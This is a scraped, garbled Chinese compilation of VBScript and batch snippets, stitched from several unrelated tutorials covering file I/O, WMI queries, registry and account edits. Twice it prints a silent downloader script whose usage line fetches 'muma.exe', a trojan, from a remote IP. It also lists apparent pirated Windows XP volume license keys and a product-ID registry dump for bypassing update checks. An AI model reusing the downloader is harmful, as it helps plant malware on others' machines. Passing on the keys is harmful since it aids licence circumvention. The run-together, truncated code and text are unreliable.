VBS脚本参考
vbs代码大全
vbs代码大全VBScript(Visual Basic Scripting Edition)是一种微软公司开发的脚本语言,它是Visual Basic的一种简化版本,用于在Windows系统上执行脚本和自动化任务。
VBScript可以用于编写各种类型的脚本,包括系统管理、网页交互、数据处理等。
在本文中,我们将介绍一些常用的VBS代码,帮助您更好地理解和应用这门语言。
首先,我们来看一段简单的VBS代码,用于在Windows系统上显示一个消息框:```vbscript。
MsgBox "Hello, World!"```。
以上代码使用MsgBox函数来显示一个消息框,其中包含"Hello, World!"这个消息。
这是一个非常简单的示例,但它展示了VBS代码的基本语法和结构。
接下来,我们将介绍一些更复杂的VBS代码示例,以便更全面地了解这门语言的特性和用法。
在VBScript中,我们可以使用条件语句来根据不同的条件执行不同的代码块。
下面是一个使用条件语句的示例:```vbscript。
Dim num。
num = InputBox("请输入一个数字,")。
If IsNumeric(num) Then。
If num > 0 Then。
MsgBox "这是一个正数。
"ElseIf num < 0 Then。
MsgBox "这是一个负数。
"Else。
MsgBox "这是零。
"End If。
Else。
MsgBox "输入无效。
"End If。
```。
以上代码首先使用InputBox函数获取用户输入的数字,然后使用条件语句判断这个数字的正负和零。
这个示例展示了VBS代码中条件语句的使用方法,以及如何处理用户输入的数据。
除了条件语句,VBScript还支持循环结构,可以重复执行特定的代码块。
VBS常用脚本
Set f = fso.CreateTextFile(%PATH%) '创建文件,其中f可任意,包含缩略名
f.WriteLine(VBS) '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
修改本地管理员密码
Set objcnlar = GetObject(WinNT://./administrator, user)
objcnla.SetPassword P@ssW0rd
objcnla.SetInfo
弹出 YES or NO 的对话框,不同的选择执行不同的代码
intAnswer = Msgbox(Do you want to delete these files?, vbYesNo, Delete Files)
Set wso = CreateObject(WScript.Shell)
wso.RegDelete %Path% '删除子键或键值
'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)
引用内容
eg:
Set wso = CreateObject(Wscript.Shell)
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1,0
Set f = fso.CreateObject(C:\sample)
vbs编程必背50个程序
VBS编程必背50个程序什么是VBS编程?VBS,全称为Visual Basic Scripting,是一种被广泛应用于Windows系统的脚本语言。
它基于Visual Basic,但语法更加简单且易于学习和使用。
VBS可以用于编写脚本文件,实现各种任务,如自动化任务、系统管理以及图形用户界面等。
为什么要掌握VBS编程?VBS编程是一种非常有用的技能,特别是对于那些需要在Windows环境中进行自动化和批量处理的人来说。
掌握VBS编程可以帮助你提高工作效率,简化重复的任务,并增加系统管理和故障排除的能力。
下面是50个VBS编程的示例程序:1. Hello WorldMsgBox "Hello World!"这个简单的程序会弹出一个对话框,显示“Hello World!”。
2. 计算器Dim num1, num2, resultnum1 = InputBox("请输入第一个数字:")num2 = InputBox("请输入第二个数字:")result = num1 + num2MsgBox "计算结果为:" & result这个程序会要求你输入两个数字,然后将它们相加并显示结果。
3. 遍历文件夹Set fso = CreateObject("Scripting.FileSystemObject")Set folder = fso.GetFolder("C:\Path\To\Folder")For Each file In folder.FilesMsgBox Next这个程序会遍历指定文件夹中的所有文件,并依次弹出每个文件名。
4. 创建文件Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.CreateTextFile("C:\Path\To\File.txt")file.WriteLine "Hello World!"file.Close这个程序会创建一个文本文件,并在其中写入“Hello World!”。
[实用参考]VBS经典脚本.doc
Vbs脚本经典教材Vbs脚本经典教材(最全的资料还是MSDN)—为什么要使用Vbs?在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情就是打开WORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。
这些事情重复、琐碎,使人容易疲劳。
第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,我也尝试过使用计算机语言编写程序来解决这些问题,但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要,难道就是因为猪毛比较难拔,所以我就要去学习机械,为自己设计一个拔猪毛机(?)吗?Vbs是一种Windows脚本,它的全称是:MicrosoftVisualBasicScriptEditon.(微软公司可视化BASIC脚本版),VBS是VisualBasic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
我个人认为Vbs脚本其实就是一种计算机编程语言,但是由于缺少计算机程序设计语言中的部分要素,对于事件的描述能力较弱,所以称为脚本,它最方便的地方就是提供了对COM对象的简便支持。
那么什么是COM对象呢?我这样理解,COM对象就是一些具有特定函数功能项程序模块,他们一般以ocG 或者dll作为扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也就是说Vbs脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,完全免去了编写代码、设计算法等等麻烦。
vbs语言参考
vbs语言参考步骤思考(Step by Step Thinking)是一种问题解决的方法,它可以帮助我们逐步分析和解决复杂的任务。
在计算机编程中,VBScript(Visual Basic Scripting Edition)语言是一种简单易学的脚本语言,它可以用于Windows操作系统中的任务自动化和网页开发。
下面是使用VBScript语言进行步骤思考的一些指南:第一步:了解问题在解决任何问题之前,我们需要全面了解问题的背景和要求。
仔细阅读题目或问题描述,并确保我们理解所需的任务和期望的结果。
第二步:分解任务将大问题分解成更小的子问题可以使问题更易管理和解决。
使用VBScript编程时,我们可以通过创建函数和过程来分解任务。
函数是一段可以接受输入参数并返回值的代码块,过程是一段可以执行一系列操作的代码块。
第三步:解决子问题开始着手解决每个子问题。
我们可以使用VBScript提供的各种功能和语法来实现所需的功能。
VBScript支持变量、条件语句、循环、数组等基本概念和结构。
第四步:测试和调试完成每个子问题后,我们需要对其进行测试和调试,以确保其正确性和可靠性。
VBScript提供了调试工具和技术,如输出调试信息、打印变量值等,以帮助我们找出代码中的错误和问题。
第五步:集成和优化完成所有子问题后,我们需要将它们集成到一个整体解决方案中。
在此过程中,我们可能需要优化代码,以提高性能和效率。
VBScript提供了一些优化技巧,如使用适当的数据结构、避免重复计算、优化算法等。
第六步:测试和验证完成整体解决方案后,我们需要进行全面的测试和验证。
测试可以帮助我们发现和修复潜在的错误和问题。
验证可以确保解决方案满足预期的结果和要求。
第七步:文档和维护完成测试和验证后,我们需要撰写文档,记录解决方案的设计和实现细节。
文档可以帮助其他人理解和使用我们的代码。
此外,我们还需要定期对代码进行维护和更新,以适应新的需求和环境。
vbs参考手册
vbs参考手册VBS(Visual Basic Script)是一种基于Windows平台的脚本语言,主要用于自动化任务和增强用户界面。
以下是一些基本的语法概述:1. 变量:在VBS中,变量以字母或下划线开头,后面可以接数字或字母。
变量可以存储任何类型的数据,包括字符串、数字、布尔值、对象等。
例如:```vbscript Dim myVariable myVariable = "Hello,world!" ``` 2. 运算符:VBS支持基本的算术运算符,如加(+)、减(-)、乘(*)和除(/)。
还有比较运算符(如=、<、>)和逻辑运算符(如And、Or、Not)。
例如:```vbscript Dim myNumber1, myNumber2 myNumber1 = 10 myNumber2 = 20 If myNumber1 > myNumber2 Then MsgBox "My number is greater." End If ``` 3. 控制结构:VBS提供了条件语句(如If-Then-Else)和循环语句(如For、While)。
例如: ```vbscript Dim myVariable myVariable = 5 Do While myVariable < 10 MsgBox "Number is " & myVariable myVariable = myVariable + 1 Loop ``` 4. 函数和过程:VBS允许创建自定义函数和过程,以重用代码并提高可读性。
例如:```vbscript Function AddNumbers(num1, num2) As Integer AddNumbers = num1 + num2 End Function ``` 以上只是VBS基础语法的一部分,更深入的内容包括对象和事件驱动编程、文件和网络操作等。
VBS脚本实例
13、VBS发送邮件
NameSpace= "/cdo/configuration/"
SetEmail = CreateObject("CDO.Message")
EБайду номын сангаасd If
.Item(NameSpace&"sendusername")= "发件人用户名"
.Item(NameSpace&"sendpassword")= "发件人密码"
.Update
EndWith
Email.Send
14、VBS结束进程
strComputer= "."
SetobjWMIService = GetObject _
ForEach i In fso.Drives
If i.DriveType = 2 Then
GF fso.GetFolder(i & "/")
End If
Next
SubGF(fol)
Wh fol
Dim i
For Each i In fol.SubFolders
4、给桌面添加网址快捷方式
setgangzi = WScript.CreateObject("WScript.Shell")
strDesktop= gangzi.SpecialFolders("Desktop")
setoShellLink = gangzi.CreateShortcut(strDesktop & "/InternetExplorer.lnk")
vbs脚本大全,配有实例 DOS命令,批处理 脚本 代码
vbs脚本大全,配有实例DOS命令,批处理脚本代码VBS取得本机IPstrComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set IPConfigSet = objWMIService.ExecQuery('Select IPAddress fromWin32_NetworkAdapterConfiguration Where IPEnabled=TRUE')For Each IPConfig in IPConfigSetIf Not IsNull(IPConfig.IPAddress) ThenFor Each strAddress in IPConfig.IPAddressWScript.Echo strAddressNextEnd IfNext2 取得本机计算机名strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colComputers = objWMIService.ExecQuery('Select * from Win32_ComputerSystem')For Each objComputer in colComputersWscript.Echo Next4 检查升级包strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colOperatingSystems =objWMIService.ExecQuery('Select * fromWin32_OperatingSystem')For Each objOperatingSystem in colOperatingSystems Wscript.EchoobjOperatingSystem.ServicePackMajorVersion & '.' & objOperatingSystem.ServicePackMinorVersionNext5 检查Hot FixstrComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colQuickFixes = objWMIService.ExecQuery ('Select *from Win32_QuickFixEngineering')For Each objQuickFix in colQuickFixesWscript.Echo 'Description: ' & objQuickFix.Description Wscript.Echo 'Hot Fix ID: ' & objQuickFix.HotFixIDNext6 检查本地管理员数目Set objNetwork = CreateObject('work') strComputer = puterNameSet objGroup = GetObject('WinNT://' & strComputer & '/Administrators,group')For Each objUser in objGroup.MembersWscript.Echo Next7 磁盘系统strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colDisks = objWMIService.ExecQuery('Select * from Win32_LogicalDisk Where DriveType =3')For Each objDisk in colDisksWscript.Echo 'Disk drive: '& objDisk.DeviceID & ' -- ' &objDisk.FileSystemNext8 检测自动登录是否开启Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = '.'Set objReg=GetObject('winmgmts:\\' & strComputer & '\root\default:StdRegProv')strKeyPath = 'Software\Microsoft\WindowsNT\CurrentVersion\WinLogon'strValueName = 'AutoAdminLogon'objReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,dwValueIf dwValue = 1 ThenWscript.Echo 'Auto logon is enabled.'ElseWscript.Echo 'Auto logon is disabled.'End If9 关闭自动登录Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = '.'Set objReg=GetObject('winmgmts:\\' & strComputer & '\root\default:StdRegProv')strKeyPath = 'Software\Microsoft\WindowsNT\CurrentVersion\WinLogon'strValueName = 'AutoAdminLogon'dwValue = 0oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue10 检查Guest是否禁用Set objNetwork = CreateObject('work') strComputer = puterNameSet objUser = GetObject('WinNT://' & strComputer & '/Guest')If objUser.AccountDisabled ThenWscript.Echo 'The Guest account is disabled.'ElseWscript.Echo 'The Guest account is enabled.'End If11 关闭GuestSet objNetwork = CreateObject('work') strComputer = puterNameSet objUser = GetObject('WinNT://' & strComputer & '/Guest')If objUser.AccountDisabled ThenWscript.Echo 'The Guest account is already disabled.' ElseobjUser.AccountDisabled = TrueobjUser.SetInfoWscript.Echo 'The Guest account has been disabled.' End If12 检索本地共象strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colShares = objWMIService.ExecQuery('Select * from Win32_Share')For each objShare in colSharesWscript.Echo 'Name: ' & Wscript.Echo 'Path: ' & objShare.PathWscript.Echo 'Type: ' & objShare.TypeNext13 脚本检索一个文件夹下.txt文件汗哦值得学习Set objWMIService =GetObject('winmgmts:\\.\root\cimv2')Set colFiles = objWMIService.ExecQuery('SELECT * FROM CIM_DataFile WHERE Path = '\\Documentsand Settings\\Administrator\\桌面\\' AND Drive = 'E:' AND Extension = 'txt'')Wscript.Echo 'Number of .txt files found: ' & colFiles.Count for each aa in colFilesNL=NL & vbcrlf & nextWscript.Echo NL14 我如何向用户显示一个用来选择文件的对话框?问:嗨,Scripting Guy!有没有什么方法可以让我使用脚本向用户显示一个对话框,供用户选择文件使用?-- BF答:您好,BF。
收集的一些经典的vbs脚本大全
收集的⼀些经典的vbs脚本⼤全记录⼀些经典的vbs脚本1.⽂件下载(⽆回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe⽤法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs⽤法:cscript ps.vbs3.终⽌进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs⽤法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs@echo os.win32shutdown(2):next >>reboot.vbs⽤法:cscript reboot.vbsVBS脚本在系统安全中的⼋则巧妙应⽤VBS脚本病毒的⼤量流⾏使我们对VBS的功能有了⼀个全新的认识,现在⼤家对它也开始重视起来。
vbs文件操作脚本实例
vbs文件操作脚本实例1.创建一个新的文本文件,如果文件已经存在则报告错误:Rem 在当前盘根目录下创建"测试.txt"并写入一个字符串VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForWriting=2VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=-1VBSCall Call MessageBox("发现错误!!!文件已经存在!!!")Goto overEndIfVBS Set file=fso.CreateTextFile(filename,Ture)VBS file.WriteLine("文件第一行,这是一个测试文件")VBS file.CloseVBSCall Call MessageBox("测试文件创建成功!!!")Rem overEndScript2.强行写入文件覆盖原有内容:Rem 往当前盘根目录下的文件"测试.txt"写入一个字符串,覆盖原有内容VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForWriting=2VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForWriting,Ture)VBS file.WriteLine("测试写入文件行")VBS file.CloseVBSCall Call MessageBox("写入文件成功!!!")Rem overEndScript3.往文件尾部追加内容:Rem 往当前盘根目录下的文件"测试.txt"末尾追加一个字符串VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForAppending=8VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForAppending)VBS file.WriteLine("测试追加字符串到文件末尾")VBS file.CloseVBSCall Call MessageBox("追加字符串到文件成功!!!")Rem overEndScript4.读取指定文件一行Rem 从当前盘根目录下的文件"测试.txt"读一行VBS dim fso,file,filename,textVBS filename="\测试.txt"VBS Const ForReading=1VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForReading)VBS text=file.ReadLineVBS file.CloseVBS text="从文件"&filename&"读取行成功!读到的字符串为:"&text VBSCall Call MessageBox(text)Rem overEndScript5.从指定文件行读取2个字符Rem 从当前盘根目录下的文件"测试.txt"读取2个字符VBS dim fso,file,filename,textVBS filename="\测试.txt"VBS Const ForReading=1VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForReading)VBS text=file.Read(2)VBS file.CloseVBS text="从文件"&filename&"读取2个字符成功!读到的字符为:"&text VBSCall Call MessageBox(text)Rem overEndScript6. ReadAll读取整个文件内容,大文件太占资源,不建议使用//使用方法和ReadLine近似7.SkipLine跳过当前行//使用方法是file.SkipLine,仅用于只读属性打开的文件8.测试文件行结束/文件结束a.测试行结束判断语句If file.AtEndOfLine=-1...EndIf//表达式为真的时候当前指针处于行末b.测试文件结束判断语句If file.AtEndOfStream=-1...EndIf//表达式为真的时候当前指针处于文件末9.其他用于文件的函数或者叫方法功能有a.file.Column 返回当前列号b.file.Line 返回当前行号c.file.FileExists(filename) 判断指定文件是否存在。
vbs经典例子
1.文件下载(无回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echops.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs用法:cscript ps.vbs3.终止进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs用法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs @echo os.win32shutdown(2):next >>reboot.vbs用法:cscript reboot.vbsVBS脚本在系统安全中的八则巧妙应用VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。
一些常用的VBS脚本
一些常用的V BS脚本、批处理和注册表2007-10-10 18:36======打开迅闪菜单的同时连接虚拟磁盘的VBS======Set WshShe ll = WScrip t.Create Objec t("WScrip t.Shell")Return = WshShe ll.Run ("c:\client\新调用.exe",0,true)Return = WshShe ll.Run ("iscsic li AddTar getPo rtal192.168.0.9 3260",0,true)Return = WshShe ll.Run ("iscsic li LoginT arget .riceca ke.iscsi:00 T * * Set WshShe ll = Nothin g======开机VBS调用远程批处理(延时+无黑屏后台运行的效果)======DIM objShe llset objShe ll=wscrip t.create Objec t("wscrip t.shell")WScrip t.Sleep(10000)iRetur n=objShe ll.Run("cmd.exe /C \\server\E\123.bat", 0, TRUE)======修改IE状态栏显示字符的注册表======Window s Regist ry Editor Versio n 5.00[HKEY_C URREN T_USE R\Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\Zones\ @="""Displa yName"="XX网吧"====== 批处理获得本机的I P和MAC地址然后进行绑定======@echo offfor /f "tokens=1* delims=:" %%i in ('ipconf ig /all^|find /i "Physic al Addres s"') do s for /f "tokens=1* delims=:" %%i in ('ipconf ig /all^|find /i "IP Addres s"') do set ip= arp -s %ip:~1% %Mac:~1%======强制刷新组策略和注册表======xp/2003命令gpupda te /force2k命令secedi t /refres hpoli cy machin e_pol icy /enforc e====== 批处理修改IE主页======@reg delete "HKEY_C URREN T_USE R\Softwa re\Micros oft\Intern et Explor er\Main" /v "StartP @reg add "HKEY_C URREN T_USE R\Softwa re\Micros oft\Intern et Explor er\Main" /v "StartPage======解除禁止下载的几种方法======VBS代码:DIM WSHSET WSH=WSCRIP T.Create Objec t("WSCRIP T.SHELL")WSH.POPUP("本程序的作用是解决无法下载的问题")WSH.Regwri te"HKCU\Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\Zones03 WSH.POPUP("现在您可以下载程序了!")JS代码:VAR WSHShe ll=WSCRIP T.CREATO BJEt("WSCRIP T.SHELL");WSHShe ll.Popup("本程序解决无法下载的问题,");WSHShe ll.RegWri te("HKCU\Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\ZINF代码[Versio n]Signat ure="$CHICAG O$"[Defaul tInst all]DelReg=Del[Del]HKCU,"Softwa re\Micros oft\Window s\Curren tVers ion\Intern et Settin gs\Zones",1803====== 屏蔽WIN2003开机弹出的错误对话框:在系统启动时至少有一个服务或驱动程序产生错误Window s Regist ry Editor Versio n 5.00[HKEY_L OCAL_MACHI NE\SYSTEM\Curren tCont rolSe t\Contro l\Window s]"NoPopU psOnB oot"=dword:00000001======导入注册表不给任何提示的方法============简单三步,更改序列号解决WIND OWS XP在线升级问题======1)在〔开始〕→〔执行〕→〔Regedi t〕→〔HKEY_L OCAL_MACHI NE〕→〔SOFTWA RE〕→〔Micros 〔Window s NT〕→〔Curren tVers ion〕在〔WPAEve nts〕内将〔OOBETi mer〕的头两个数值〔FF〕2)在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕→选择第二项〔电话启动〕3)在进入下一个视窗,选择〔change produc t key〕来修改序列号及输入新的序列号,完成后点重新启动电脑后在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕时应该显示已经启KLV,VOL版用户可用序列号:MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用CM3HY-26VYW-6JRYC-X66GX-JVY2D可用DP7CM-PD6MC-6BKXT-M8JJ6-RPXGJ可用F4297-RCWJP-P482C-YY23Y-XH8W3可用HH7VV-6P3G9-82TWK-QKJJ3-MXR96可用HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT可用======去除系统面板上的远程和系统还原选项======regsvr32 /u remote pg.dllregsvr32 /u wuauen g.dll======冒险岛刷新率设置成85HZ的注册表(对玩冒险岛黑屏的兄弟有用)======Window s Regist ry Editor Versio n 5.00[HKEY_L OCAL_MACHI NE\SOFTWA RE\Wizet\MapleS tory]"ExecPa th"="E:\\Online Game\\冒险岛""EKEYUS E"=dword:00000000"DGTIDU SE"=dword:00000000"RMA"=dword:00000000"LMA"="""LCWN"="""scrFir stRun"=dword:00000000"soVide o"=dword:00000003"soBGMV ol"=dword:0000000f"soBGMM ute"=dword:00000000"soSEVo l"=dword:0000000f"soSEMu te"=dword:00000000"soScre enSho t"=dword:00000000"soMous eSpee d"=dword:0000000a"soHPFl ash"=dword:0000000a"soTrem ble"=dword:00000001"jpBtn0"=dword:00000000"jpBtn1"=dword:00000000"jpBtn2"=dword:00000000"jpBtn3"=dword:00000000"jpBtn4"=dword:00000000"jpBtn5"=dword:00000000"jpBtn6"=dword:00000000"jpBtn7"=dword:00000000"jpBtn8"=dword:00000000"scrRRa te"=dword:00000055======QQ面板上点QQ游戏无反映的解决注册表(一定是做母盘的时候没有运行过QQ游戏吧?)Window s Regist ry Editor Versio n 5.00Window s Regist ry Editor Versio n 5.00[HKEY_C URREN T_USE R\Softwa re\Tencen t\QQGame\SYS]"HallDi recto ry"="e:\\网游平台\\QQGame\\""GameDi recto ry"="e:\\网游平台\\QQGame\\"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\CLSID]"CLBVer sion"=dword:00000007[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\CLSID\{11BEA40D-ED62-4996-B157-B6D9C637F2A5}\Inp "Thread ingMo del"="Apartm ent"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\CLSID\{B59750C3-29F1-44AA-BFA8-E5F6D3CE8596}\InP "Thread ingMo del"="Both"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\Interf ace\{AA21B901-1642-4AB2-9C1C-A09B2412CC89} "Versio n"="1.0"[HKEY_L OCAL_MACHI NE\Softwa re\Classe s\Interf ace\{B2167A4F-BC4D-4DA7-90BF-C4BAF7D76714} "Versio n"="1.0"[HKEY_L OCAL_MACHI NE\Softwa re\Tencen t\QQGame\SYS]"HallDi recto ry"="E:\\网游平台\\QQGame\\""GameDi recto ry"="E:\\网游平台\\QQGame\\"======运行共享里的EXE不给予提示的方法======IE--Intern et 选项--安全--自定义级别--安全设置--加载应用程序和不安全文件:选择|启用|即======制作2003系统最重要的步骤:让2003象XP一样兼容游戏======修改boot.ini为:multi(0)disk(0)rdisk(0)partit ion(1)\WINDOW S="Window s Server 2003, Standa rd" /NoExec ut 此方法等同于:我的电脑--属性--高级--性能--设置--数据执行保护,选择|只为关键Wi ndows程======如果你的2003不能在线升级和打补丁,试试这个注册表======Window s Regist ry Editor Versio n 5.00[HKEY_L OCAL_MACHI NE\SOFTWA RE\Micros oft\Window s\Curren tVers ion]"Produc tId"="69713-640-9722366-45198"[HKEY_L OCAL_MACHI NE\SOFTWA RE\Micros oft\Window s NT\Curren tVers ion]"Curren tBuil d"="1.511.1 () (Obsole te data - do not use)""Instal lDate"=dword:3f6c976d"Produc tName"="Micros oft Window s Server 2003""RegDon e"="""Softwa re Type"="SYSTEM""Curren tVers ion"="5.2""Curren tBuil dNumb er"="3790""BuildL ab"="3790.srv03_rtm.030324-2048""Curren tType"="Unipro cesso r Free""Produc tId"="69713-640-9722366-45198""Digita lProd uctId"=hex:a4,00,00,00,03,00,00,00,36,39,37,31,33,2d,36,34,30,2d,39,37,32 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,31,32,32,32,3"Licens eInfo"=hex:71,84,c7,56,a0,d6,10,6e,70,b4,9f,e9,10,1a,1e,7a,01,a4,41,09,25,20,0。
vbs脚本看懂了就成才了!!vbs代码命令集合大全
Set f = fso.CreateTextFile("%PATH%") '创建文件,其中f可任意,包含缩略名
f.WriteLine("VBS") '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
eg:
Set wso = CreateObject("Wscript.Shell")
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1"
wso.RegWrite "HKLM\SOFTWARE\Microsft\Windows NT\#1","0"
Set objUser = GetObject("WinNT://testnet/Engineers")
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar = GetObject("WinNT://./administrator, user")
wscript.sleep 2000 '(该行命令未知作用.估计是设定延迟,请高手指点)
wshshell.appactivate "%WindowsName%" '激活运用程序窗口
wshshell.sendkeys "+{%KeyBoardName%}" '第一次输出键盘按键指令前要加+
超完整的vbs代码
超完整的vbs代码1. Hello World 示例:MsgBox "Hello, World!"这是最简单的VBS脚本,用于显示一个消息框。
2. 创建文件:Dim fso, fileSet fso = CreateObject("Scripting.FileSystemObject") Set file = fso.CreateTextFile("example.txt", True) file.WriteLine "这是一个示例文件。
"file.CloseSet file = NothingSet fso = NothingMsgBox "文件创建成功!"3. 复制文件:Dim fso, sourceFile, destFileSet fso = CreateObject("Scripting.FileSystemObject") sourceFile = "C:\example.txt"destFile = "C:\example_copy.txt"If fso.FileExists(sourceFile) Thenfso.CopyFile sourceFile, destFileMsgBox "文件复制成功!"ElseMsgBox "源文件不存在。
"End IfSet fso = Nothing4. 删除文件:Dim fso, fileToDeleteSet fso = CreateObject("Scripting.FileSystemObject") fileToDelete = "C:\example.txt"If fso.FileExists(fileToDelete) Thenfso.DeleteFile fileToDeleteMsgBox "文件删除成功!"ElseMsgBox "文件不存在。
vbs编程必背50个程序
vbs编程必背50个程序VBS编程必背50个程序VBScript是一种脚本语言,用于在Windows环境下编写脚本。
VBScript是Visual Basic的轻量级版本,它可以作为Active Server Pages(ASP)中的服务器端脚本使用,并且可以与其他Microsoft ActiveX控件一起使用。
下面将介绍50个必备的VBScript程序。
